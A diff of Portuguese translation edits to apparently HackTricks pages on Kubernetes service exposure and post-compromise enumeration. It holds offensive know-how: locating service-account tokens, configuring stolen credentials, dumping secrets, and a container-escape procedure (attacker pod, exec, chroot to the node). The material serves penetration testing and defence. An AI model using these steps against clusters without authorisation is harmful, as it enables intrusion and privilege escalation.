O Ingress controller padrão do GKE irá provisionar um [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) para você. Isso permitirá fazer roteamento baseado em path e em subdomínio para backend services. Por exemplo, você pode enviar tudo em foo.yourdomain.com para o service foo, e tudo sob o path yourdomain.com/bar/ para o service bar.
|
||||
|
||||
O YAML de um objeto Ingress no GKE com um [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) pode se parecer com isto:
|
||||
O YAML de um objeto Ingress no GKE com um [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) pode ser parecido com isto:
|
||||
```yaml
|
||||
apiVersion: networking.k8s.io/v1
|
||||
kind: Ingress
|
||||
@@ -212,33 +215,42 @@ Liste todos os ingresses:
|
||||
```bash
|
||||
kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status'
|
||||
```
|
||||
Embora, neste caso, seja melhor obter as informações de cada um individualmente para lê-las melhor:
|
||||
Embora neste caso seja melhor obter as informações de cada um individualmente para lê-las melhor:
|
||||
```bash
|
||||
kubectl get ingresses --all-namespaces -o=yaml
|
||||
```
|
||||
### Gateway API
|
||||
|
||||
Gateway API é a nova Kubernetes API para expor Services. Ela separa os objetos Gateway, pertencentes à infraestrutura, dos objetos Route, pertencentes à aplicação, como HTTPRoute. Isso é útil para delegation, mas também significa que a exposição pode ser dividida entre namespaces.
|
||||
Gateway API é a API mais recente do Kubernetes para expor Services. Ela separa os objetos Gateway, de propriedade da infraestrutura, dos objetos Route, de propriedade da aplicação, como HTTPRoute. Isso é útil para delegação, mas também significa que a exposição pode ser dividida entre namespaces.
|
||||
|
||||
Listar objetos de exposição do Gateway API:
|
||||
List Gateway API exposure objects:
|
||||
```bash
|
||||
kubectl get gatewayclasses
|
||||
kubectl get gateways --all-namespaces
|
||||
kubectl get httproutes --all-namespaces
|
||||
kubectl get grpcroutes,tlsroutes,tcproutes,udproutes --all-namespaces
|
||||
kubectl get referencegrants --all-namespaces
|
||||
kubectl get backendtlspolicies --all-namespaces
|
||||
kubectl get gateway -n <namespace> <gateway-name> -o yaml
|
||||
kubectl get httproute -n <namespace> <route-name> -o yaml
|
||||
```
|
||||
Verifique os listeners do Gateway, os namespaces de rotas permitidos, `parentRefs` da Route, `hostnames`, filters, backend references e status conditions, como se a route foi accepted. Uma Route accepted por um shared Gateway pode expor um backend mesmo quando não existe nenhum objeto Ingress legacy.
|
||||
Verifique os listeners do Gateway, os namespaces de rotas permitidos, `parentRefs` da Route, hostnames ou correspondências SNI, filters, backend references e status conditions como `Accepted`, `ResolvedRefs` e `Programmed`. Uma Route aceita por um shared Gateway pode expor um backend mesmo quando nenhum objeto Ingress legado existe.
|
||||
|
||||
Não verifique apenas HTTPRoute. GRPCRoute, TLSRoute, TCPRoute e UDPRoute podem expor serviços não-HTTP, como portas de admin, brokers, databases, gateways de service-mesh ou backends TLS pass-through. Revise também objetos `ReferenceGrant` para referências cross-namespace a backend ou certificate e `BackendTLSPolicy` para a identidade TLS que o Gateway usa ao se conectar aos backend Services. Backend TLS policy, por si só, não prova reachability pública, mas é uma evidência útil quando uma rota de Gateway programada alcança um Service pronto com validação de identidade de backend fraca, compartilhada ou incorreta.
|
||||
|
||||
### References
|
||||
|
||||
- [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
|
||||
- [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
|
||||
- [https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/)
|
||||
- [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/)
|
||||
- [https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/](https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/)
|
||||
- [https://kubernetes.io/docs/tutorials/services/source-ip/](https://kubernetes.io/docs/tutorials/services/source-ip/)
|
||||
- [https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/](https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/)
|
||||
- [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/)
|
||||
- [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/)
|
||||
- [https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/](https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/)
|
||||
- [https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/](https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/)
|
||||
- [https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9](https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,24 +4,24 @@
|
||||
|
||||
## Kubernetes Tokens
|
||||
|
||||
Se você tiver comprometido o acesso a uma máquina, o usuário pode ter acesso a alguma plataforma Kubernetes. O token geralmente está localizado em um arquivo apontado pela **env var `KUBECONFIG`** ou **dentro de `~/.kube`**.
|
||||
Se você comprometeu o acesso a uma máquina, o usuário pode ter acesso a alguma plataforma Kubernetes. O token geralmente fica localizado em um arquivo apontado pela **env var `KUBECONFIG`** ou **dentro de `~/.kube`**.
|
||||
|
||||
Nessa pasta, você pode encontrar arquivos de config com **tokens e configurações para conectar ao API server**. Nessa pasta, você também pode encontrar uma pasta de cache com informações recuperadas anteriormente.
|
||||
Nessa pasta, você pode encontrar arquivos de configuração com **tokens e configurations para conectar ao API server**. Nessa pasta, você também pode encontrar uma pasta de cache com informações recuperadas anteriormente.
|
||||
|
||||
Se você tiver comprometido um pod dentro de um ambiente kubernetes, há outros lugares onde você pode encontrar tokens e informações sobre o K8 env atual:
|
||||
Se você comprometeu um pod dentro de um ambiente kubernetes, há outros lugares onde você pode encontrar tokens e informações sobre o ambiente K8 atual:
|
||||
|
||||
### Service Account Tokens
|
||||
|
||||
Antes de continuar, se você não sabe o que é um service em Kubernetes, eu sugeriria **seguir este link e ler ao menos a informação sobre a arquitetura do Kubernetes.**
|
||||
Antes de continuar, se você não sabe o que é um service no Kubernetes, eu sugeriria que você **seguisse este link e lesse pelo menos as informações sobre a arquitetura do Kubernetes.**
|
||||
|
||||
Retirado da [documentação](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) do Kubernetes:
|
||||
|
||||
_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_
|
||||
|
||||
**ServiceAccount** é um objeto gerenciado pelo Kubernetes e usado para fornecer uma identidade para processos que rodam em um pod.\
|
||||
**ServiceAccount** é um objeto gerenciado pelo Kubernetes e usado para fornecer uma identidade aos processos que rodam em um pod.\
|
||||
Toda service account tem um secret relacionado a ela, e esse secret contém um bearer token. Isso é um JSON Web Token (JWT), um método para representar claims com segurança entre duas partes.
|
||||
|
||||
Normalmente **um** dos diretórios:
|
||||
Geralmente **um** dos diretórios:
|
||||
|
||||
- `/run/secrets/kubernetes.io/serviceaccount`
|
||||
- `/var/run/secrets/kubernetes.io/serviceaccount`
|
||||
@@ -29,11 +29,11 @@ Normalmente **um** dos diretórios:
|
||||
|
||||
contém os arquivos:
|
||||
|
||||
- **ca.crt**: É o certificado ca para verificar as comunicações do kubernetes
|
||||
- **ca.crt**: É o certificado ca para verificar comunicações do kubernetes
|
||||
- **namespace**: Indica o namespace atual
|
||||
- **token**: Contém o **service token** do pod atual.
|
||||
|
||||
Agora que você tem o token, pode encontrar o API server dentro da variável de ambiente **`KUBECONFIG`**. Para mais info, execute `(env | set) | grep -i "kuber|kube`**`"`**
|
||||
Agora que você tem o token, você pode encontrar o API server dentro da variável de ambiente **`KUBECONFIG`**. Para mais informações, execute `(env | set) | grep -i "kuber|kube`**`"`**
|
||||
|
||||
O service account token está sendo assinado pela key que reside no arquivo **sa.key** e validado por **sa.pub**.
|
||||
|
||||
@@ -47,7 +47,7 @@ Local padrão no **Minikube**:
|
||||
|
||||
### Hot Pods
|
||||
|
||||
_**Hot pods are**_ pods contendo um privileged service account token. Um privileged service account token é um token que tem permissão para realizar tarefas privileged, como listar secrets, criar pods, etc.
|
||||
_**Hot pods are**_ pods contendo um privileged service account token. Um privileged service account token é um token que tem permissão para realizar tarefas privilegiadas, como listar secrets, criar pods, etc.
|
||||
|
||||
## RBAC
|
||||
|
||||
@@ -55,35 +55,35 @@ Se você não sabe o que é **RBAC**, **leia esta seção**.
|
||||
|
||||
## GUI Applications
|
||||
|
||||
- **k9s**: Uma GUI que enumera um cluster kubernetes a partir do terminal. Veja os comandos em[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Escreva `:namespace` e selecione all para então procurar resources em todos os namespaces.
|
||||
- **k9s**: Uma GUI que enumera um cluster kubernetes a partir do terminal. Confira os comandos em[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Escreva `:namespace` e selecione all para então buscar recursos em todos os namespaces.
|
||||
- **k8slens**: Oferece alguns dias de teste grátis: [https://k8slens.dev/](https://k8slens.dev/)
|
||||
|
||||
## Enumeration CheatSheet
|
||||
|
||||
Para enumerar um ambiente K8s, você precisa de algumas coisas:
|
||||
|
||||
- Um **valid authentication token**. Na seção anterior, vimos onde procurar um user token e um service account token.
|
||||
- O **address (**_**https://host:port**_**) of the Kubernetes API**. Isso normalmente pode ser encontrado nas variáveis de ambiente e/ou no arquivo kube config.
|
||||
- **Opcional**: O **ca.crt para verificar o API server**. Isso pode ser encontrado nos mesmos lugares onde o token pode ser encontrado. Isso é útil para verificar o certificado do API server, mas usando `--insecure-skip-tls-verify` com `kubectl` ou `-k` com `curl`, você não vai precisar disso.
|
||||
- Um **valid authentication token**. Na seção anterior, vimos onde procurar um token de usuário e um service account token.
|
||||
- O **address (**_**https://host:port**_**) of the Kubernetes API**. Isso geralmente pode ser encontrado nas variáveis de ambiente e/ou no arquivo de kube config.
|
||||
- **Opcional**: O **ca.crt para verificar o API server**. Isso pode ser encontrado nos mesmos lugares onde o token pode ser encontrado. Isso é útil para verificar o certificado do API server, mas usando `--insecure-skip-tls-verify` com `kubectl` ou `-k` com `curl` você não precisará disso.
|
||||
|
||||
Com esses detalhes, você pode **enumerate kubernetes**. Se a **API** por algum motivo estiver **accessible** pela **Internet**, você pode simplesmente baixar essas informações e enumerar a plataforma a partir do seu host.
|
||||
Com esses detalhes, você pode **enumerate kubernetes**. Se o **API** por algum motivo estiver **accessible** pela **Internet**, você pode simplesmente baixar essas informações e enumerar a plataforma a partir do seu host.
|
||||
|
||||
No entanto, geralmente o **API server está dentro de uma rede interna**, portanto você precisará **criar um tunnel** através da máquina comprometida para acessá-lo a partir da sua máquina, ou pode **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, ou usar **`curl/wget/anything`** para realizar requisições HTTP brutas ao API server.
|
||||
No entanto, normalmente o **API server está dentro de uma rede interna**, portanto você precisará **criar um tunnel** através da máquina comprometida para acessá-lo a partir da sua máquina, ou você pode **fazer upload do** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, ou usar **`curl/wget/anything`** para realizar requisições HTTP brutas ao API server.
|
||||
|
||||
### Differences between `list` and `get` verbs
|
||||
|
||||
Com permissões de **`get`**, você pode acessar informações de assets específicos (_opção `describe` em `kubectl`_) API:
|
||||
Com permissões **`get`**, você pode acessar informações de assets específicos (_opção `describe` em `kubectl`_) API:
|
||||
```
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
|
||||
```
|
||||
Se você tiver a permissão **`list`**, você está autorizado a executar requests de API para listar um tipo de asset (_`get` option in `kubectl`_):
|
||||
Se você tiver a permissão **`list`**, você poderá executar solicitações de API para listar um tipo de asset (_opção `get` em `kubectl`_):
|
||||
```bash
|
||||
#In a namespace
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments
|
||||
#In all namespaces
|
||||
GET /apis/apps/v1/deployments
|
||||
```
|
||||
Se você tiver a permissão **`watch`**, você poderá executar solicitações de API para monitorar assets:
|
||||
Se você tiver a permissão **`watch`**, poderá executar solicitações de API para monitorar assets:
|
||||
```
|
||||
GET /apis/apps/v1/deployments?watch=true
|
||||
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
|
||||
@@ -109,21 +109,21 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
|
||||
# if kurl is still got cert Error, using -k option to solve this.
|
||||
```
|
||||
> [!WARNING]
|
||||
> Por padrão o pod pode **acessar** o **kube-api server** no nome de domínio **`kubernetes.default.svc`** e você pode ver a rede kube em **`/etc/resolv.config`** pois lá você encontrará o endereço do servidor DNS do kubernetes (o ".1" do mesmo range é o endpoint do kube-api).
|
||||
> Por padrão, o pod pode **acessar** o **kube-api server** no nome de domínio **`kubernetes.default.svc`** e você pode ver a kube network em **`/etc/resolv.config`** pois ali você encontrará o endereço do Kubernetes DNS server (o ".1" da mesma faixa é o endpoint do kube-api).
|
||||
|
||||
### Using kubectl
|
||||
### Usando kubectl
|
||||
|
||||
Tendo o token e o endereço do API server, você usa kubectl ou curl para acessá-lo como indicado aqui:
|
||||
Tendo o token e o endereço do API server, você usa kubectl ou curl para acessá-lo, como indicado aqui:
|
||||
|
||||
Por padrão, o APISERVER está se comunicando com o schema `https://`
|
||||
```bash
|
||||
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
|
||||
```
|
||||
> se não houver `https://` na url, você pode receber um Erro como Bad Request.
|
||||
> se não houver `https://` na url, você pode obter um Error como Bad Request.
|
||||
|
||||
Você pode encontrar uma [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). O objetivo das seções a seguir é apresentar, de forma ordenada, diferentes opções para enumerar e entender o novo K8s ao qual você obteve acesso.
|
||||
|
||||
Para encontrar a requisição HTTP que `kubectl` envia, você pode usar o parâmetro `-v=8`
|
||||
Para encontrar a HTTP request que `kubectl` envia, você pode usar o parâmetro `-v=8`
|
||||
|
||||
#### MitM kubectl - Proxyfying kubectl
|
||||
```bash
|
||||
@@ -150,7 +150,7 @@ kubectl config set-context --current --namespace=<namespace>
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Se você conseguiu roubar as credenciais de alguns usuários, você pode **configurá-las localmente** usando algo como:
|
||||
Se você conseguiu roubar algumas credenciais de usuários, você pode **configurá-las localmente** usando algo como:
|
||||
```bash
|
||||
kubectl config set-credentials USER_NAME \
|
||||
--auth-provider=oidc \
|
||||
@@ -163,7 +163,7 @@ kubectl config set-credentials USER_NAME \
|
||||
```
|
||||
### Obter Recursos Suportados
|
||||
|
||||
Com essas informações você saberá todos os serviços que pode listar
|
||||
Com esta informação, você saberá todos os serviços que pode listar
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -176,20 +176,46 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace
|
||||
|
||||
### Metadados do objeto que vale a pena verificar
|
||||
|
||||
Quando você consegue ler um objeto, exporte o YAML ou JSON completo em vez de depender apenas da saída em tabela ou de `describe`. O contexto de segurança mais útil frequentemente está em campos genéricos do objeto que existem em muitos tipos de recursos:
|
||||
Quando você consegue ler um objeto, exporte o YAML ou JSON completo em vez de confiar apenas na saída em tabela ou em `describe`. O contexto de segurança mais útil geralmente está em campos genéricos do objeto que existem em muitos tipos de recursos diferentes:
|
||||
```bash
|
||||
kubectl get pod <pod> -n <ns> -o yaml
|
||||
kubectl get deploy <deploy> -n <ns> -o json | jq '.metadata, .spec, .status'
|
||||
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase'
|
||||
```
|
||||
- `metadata.uid`, `name`, `namespace`, `apiVersion` e `kind` identificam o objeto exato e evitam confusão entre objetos com o mesmo nome em diferentes namespaces ou grupos de API.
|
||||
- `metadata.labels` e selectors conectam Services, Deployments, ReplicaSets, Pods, NetworkPolicies e automation. Seguir selectors costuma ser a forma mais rápida de identificar os pods backend reais de um Service.
|
||||
- `metadata.annotations` pode leak contexto operacional como comportamento de ingress, configurações de cloud load balancer, metadados de GitOps ou Helm, exceções de policy e configuração de service mesh. Elas não devem conter secrets, mas clusters reais frequentemente expõem pistas úteis ali.
|
||||
- `metadata.ownerReferences` mostra a linhagem do controller. Se um Pod é owned por um ReplicaSet owned by a Deployment, alterar ou deletar apenas o Pod geralmente não corrige a origem.
|
||||
- `metadata.finalizers` e `metadata.deletionTimestamp` explicam recursos presos em deletion e podem revelar cleanup controllers ou tricks de persistence/disruption.
|
||||
- `status`, Events e conditions podem revelar node placement, pod IPs, image IDs, mensagens de erro, problemas de scheduling, admission denials e progresso do controller. São pistas úteis, mas audit logs ainda são necessários para provar quem executou uma ação.
|
||||
- `metadata.labels` e selectors conectam Services, Deployments, ReplicaSets, Pods, NetworkPolicies e automation. Seguir selectors costuma ser a forma mais rápida de identificar os Pods backend reais de um Service.
|
||||
- `metadata.annotations` pode vazar contexto operacional, como comportamento de ingress, configurações de cloud load balancer, metadata de GitOps ou Helm, policy exemptions e configuração de service mesh. Eles não devem conter secrets, mas clusters reais frequentemente expõem pistas úteis ali.
|
||||
- `metadata.ownerReferences` mostra a linhagem do controller. Se um Pod é pertencente a um ReplicaSet pertencente a um Deployment, alterar ou apagar apenas o Pod normalmente não corrige a origem.
|
||||
- `metadata.finalizers` e `metadata.deletionTimestamp` explicam resources presos na exclusão e podem revelar cleanup controllers ou truques de persistence/disruption.
|
||||
- `status`, Events e conditions podem revelar node placement, pod IPs, image IDs, mensagens de falha, problemas de scheduling, negações de admission e progresso do controller. Eles são pistas úteis, mas audit logs ainda são necessários para provar quem executou uma ação.
|
||||
|
||||
### Get Current Privileges
|
||||
### Dynamic Resource Allocation and device evidence
|
||||
|
||||
Se o cluster usa GPUs, NICs, FPGAs ou outro hardware especializado, verifique se o Kubernetes Dynamic Resource Allocation (DRA) está presente. O DRA usa objetos `resource.k8s.io` como `DeviceClass`, `ResourceSlice`, `ResourceClaim` e `ResourceClaimTemplate` para descrever dispositivos disponíveis e reivindicá-los para Pods. Esses objetos podem revelar quais nodes conseguem acessar hardware valioso, qual driver o gerencia e qual workload tem uma allocation.
|
||||
```bash
|
||||
kubectl api-resources --api-group=resource.k8s.io
|
||||
kubectl get deviceclasses.resource.k8s.io 2>/dev/null
|
||||
kubectl get resourceslices.resource.k8s.io 2>/dev/null
|
||||
kubectl get resourceclaims.resource.k8s.io -A 2>/dev/null
|
||||
kubectl get resourceclaimtemplates.resource.k8s.io -A 2>/dev/null
|
||||
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" claims="}{.spec.resourceClaims}{" node="}{.spec.nodeName}{"\n"}{end}'
|
||||
kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|intel|sriov|fpga'
|
||||
```
|
||||
Durante a revisão, restrinja writes a objetos `DeviceClass` e `ResourceSlice` com escopo de cluster para admins e DRA drivers, e mantenha os direitos de `ResourceClaim` / `ResourceClaimTemplate` limitados aos namespaces que precisam deles. As permissões do driver para atualizar o status de `ResourceClaim` devem ser explícitas e restritas. Nos nodes, a kubelet PodResources API é comumente exposta por meio de `/var/lib/kubelet/pod-resources/kubelet.sock`; monitoring DaemonSets podem montar esse diretório para inspecionar devices atribuídos, então revise esses Pods como outros privileged node agents.
|
||||
|
||||
### ClusterTrustBundle e confiança de certificados de add-on
|
||||
|
||||
Clusters recentes podem expor objetos `ClusterTrustBundle` no grupo de API `certificates.k8s.io`. Eles são bundles de trust anchor X.509 com escopo de cluster que Pods podem montar por meio de projected volumes. Acesso amplo de leitura é esperado, mas o acesso de escrita é sensível porque alterar trusted roots pode afetar webhooks, aggregated APIs, service meshes e applications que consomem material de CA distribuído pelo cluster.
|
||||
```bash
|
||||
kubectl api-resources --api-group=certificates.k8s.io | grep -i clustertrustbundle
|
||||
kubectl get clustertrustbundles.certificates.k8s.io 2>/dev/null
|
||||
kubectl get clustertrustbundle <name> -o yaml 2>/dev/null
|
||||
kubectl get pods -A -o yaml | grep -n -E 'clusterTrustBundle|trustBundle|caBundle'
|
||||
kubectl get apiservices -o jsonpath='{range .items[*]}{.metadata.name}{" insecure="}{.spec.insecureSkipTLSVerify}{" service="}{.spec.service.namespace}{"/"}{.spec.service.name}{"\n"}{end}'
|
||||
```
|
||||
Durante a revisão, registre `signerName`, fingerprints do bundle, writer identities, projected-volume consumers e qualquer trust-distribution controller como cert-manager trust-manager. Trate objetos `APIService` com `insecureSkipTLSVerify: true`, valores `caBundle` desatualizados ou permissões amplas para patch dos campos de trust de APIService/webhook como findings de confiança de certificado, e não como inventário ordinário de objetos.
|
||||
|
||||
### Obtenha os privilégios atuais
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -220,13 +246,13 @@ Você pode aprender mais sobre **Kubernetes RBAC** em:
|
||||
kubernetes-role-based-access-control-rbac.md
|
||||
{{#endref}}
|
||||
|
||||
**Assim que você souber quais privilégios** você tem, verifique a seguinte página para descobrir **se você pode abusar deles** para escalar privilégios:
|
||||
**Assim que você souber quais privilégios** você tem, verifique a seguinte página para descobrir **se você pode abuse deles** para escalar privilégios:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
{{#endref}}
|
||||
|
||||
### Obter roles de Outros
|
||||
### Obter outros roles
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -246,7 +272,7 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu
|
||||
|
||||
### Obter namespaces
|
||||
|
||||
Kubernetes suporta **múltiplos clusters virtuais** apoiados pelo mesmo cluster físico. Esses clusters virtuais são chamados **namespaces**.
|
||||
Kubernetes suporta **múltiplos clusters virtuais** apoiados pelo mesmo cluster físico. Esses clusters virtuais são chamados de **namespaces**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -287,7 +313,7 @@ for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f
|
||||
```
|
||||
### Obter Service Accounts
|
||||
|
||||
Como discutido no início desta página, **quando um pod é executado, geralmente um service account é atribuído a ele**. Portanto, listar os service accounts, suas permissões e onde eles estão sendo executados pode permitir que um usuário escale privilégios.
|
||||
Como discutido no início desta página, **quando um pod é executado, normalmente um service account é atribuído a ele**. Portanto, listar os service accounts, suas permissões e onde eles estão sendo executados pode permitir que um usuário escale privilégios.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -305,7 +331,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
|
||||
|
||||
### Obter Deployments
|
||||
|
||||
Deployments especificam o estado desejado para cargas de trabalho de aplicação stateless. Eles criam ReplicaSets, e esses ReplicaSets criam Pods.
|
||||
Deployments especificam o estado desejado para cargas de trabalho de aplicações sem estado. Eles criam ReplicaSets, e esses ReplicaSets criam Pods.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -362,7 +388,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
|
||||
|
||||
### Obter Services
|
||||
|
||||
Kubernetes **services** são usados para **expor um service em uma porta e IP específicos** (que atuarão como load balancer para os pods que realmente estão oferecendo o service). Isso é interessante para saber onde você pode encontrar outros services para tentar atacar.
|
||||
Os **services** do Kubernetes são usados para **expor um service em uma porta e IP específicos** (que atuarão como load balancer para os pods que realmente estão oferecendo o service). Isso é interessante para saber onde você pode encontrar outros services para tentar atacar.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -381,7 +407,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/services/
|
||||
|
||||
### Obter nodes
|
||||
|
||||
Obtenha todos os **nodes configurados dentro do cluster**.
|
||||
Obter todos os **nodes configurados dentro do cluster**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -399,7 +425,7 @@ kurl -v https://$APISERVER/api/v1/nodes/
|
||||
|
||||
### Obter DaemonSets
|
||||
|
||||
**DaemonSets** garantem que um **Pod específico esteja em execução em todos os nós selecionados** do cluster. Se você excluir o DaemonSet, os Pods gerenciados por ele também serão removidos.
|
||||
**DaemonSets** garantem que um **Pod específico esteja em execução em todos os nós selecionados** do cluster. Se você deletar o DaemonSet, os Pods gerenciados por ele também serão removidos.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -417,7 +443,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/daemonsets
|
||||
|
||||
### Obter Jobs
|
||||
|
||||
Jobs criam Pods que executam até a conclusão. Eles são comumente usados para migrações, backups, trabalhos em lote e tarefas administrativas pontuais.
|
||||
Jobs criam Pods que executam até a conclusão. Eles são comumente usados para migrations, backups, batch work e tarefas administrativas pontuais.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -436,7 +462,7 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/jobs
|
||||
|
||||
### Obter CronJobs
|
||||
|
||||
CronJobs usam um schedule parecido com crontab para criar Jobs que iniciam Pods para execução no estilo de tarefas.
|
||||
CronJobs usam um cronograma semelhante ao crontab para criar Jobs que iniciam Pods para execução em estilo de tarefa.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -455,7 +481,7 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/cronjobs
|
||||
|
||||
### Obter configMap
|
||||
|
||||
configMap sempre contém muita informação e configfile que são fornecidos aos apps que rodam no kubernetes. Normalmente você pode encontrar muitas passwords, secrets, tokens usados para se conectar e validar outros serviços internos/externos.
|
||||
configMap sempre contém muitas informações e arquivos de configuração que são fornecidos para os apps que rodam no kubernetes. Normalmente você pode encontrar muitas passwords, secrets e tokens que são usados para conectar e validar com outros serviços internos/externos.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -483,7 +509,7 @@ k get CiliumClusterwideNetworkPolicies
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Obter Tudo / Tudo
|
||||
### Obter Tudo / Todos
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -515,19 +541,19 @@ k top pod --all-namespaces
|
||||
|
||||
## Interagindo com o cluster sem usar kubectl
|
||||
|
||||
Vendo que o control plane do Kubernetes expõe uma API REST-ful, você pode criar manualmente requisições HTTP e enviá-las com outras ferramentas, como **curl** ou **wget**.
|
||||
Vendo que o control plane do Kubernetes expõe uma API REST-ful, você pode montar requests HTTP manualmente e enviá-los com outras tools, como **curl** ou **wget**.
|
||||
|
||||
### Escapando do pod
|
||||
|
||||
Se você conseguir criar novos pods, talvez consiga escapar deles para o node. Para fazer isso, você precisa criar um novo pod usando um arquivo yaml, alternar para o pod criado e então chroot para o system do node. Você pode usar pods já existentes como referência para o arquivo yaml, já que eles exibem images e pathes existentes.
|
||||
Se você conseguir criar novos pods, talvez consiga escapar deles para o node. Para fazer isso, você precisa criar um novo pod usando um arquivo yaml, mudar para o pod criado e então fazer chroot no system do node. Você pode usar pods já existentes como referência para o arquivo yaml, já que eles exibem imagens e paths existentes.
|
||||
```bash
|
||||
kubectl get pod <name> [-n <namespace>] -o yaml
|
||||
```
|
||||
> se precisar criar um pod no node específico, você pode usar o seguinte comando para obter labels no node
|
||||
> se você precisar criar um pod no node específico, você pode usar o seguinte comando para obter labels no node
|
||||
>
|
||||
> `k get nodes --show-labels`
|
||||
>
|
||||
> Normalmente, kubernetes.io/hostname e node-role.kubernetes.io/master são bons labels para selecionar.
|
||||
> Comumente, kubernetes.io/hostname e node-role.kubernetes.io/master são bons labels para selecionar.
|
||||
|
||||
Então você cria seu arquivo attack.yaml
|
||||
```yaml
|
||||
@@ -559,7 +585,7 @@ restartPolicy: Never
|
||||
# or using
|
||||
# node-role.kubernetes.io/master: ""
|
||||
```
|
||||
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
|
||||
[fonte yaml original](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
|
||||
|
||||
Depois disso, você cria o pod
|
||||
```bash
|
||||
@@ -569,11 +595,11 @@ Agora você pode alternar para o pod criado da seguinte forma
|
||||
```bash
|
||||
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
|
||||
```
|
||||
E finalmente você faz chroot no sistema do node
|
||||
E por fim você faz chroot no sistema do node
|
||||
```bash
|
||||
chroot /root /bin/bash
|
||||
```
|
||||
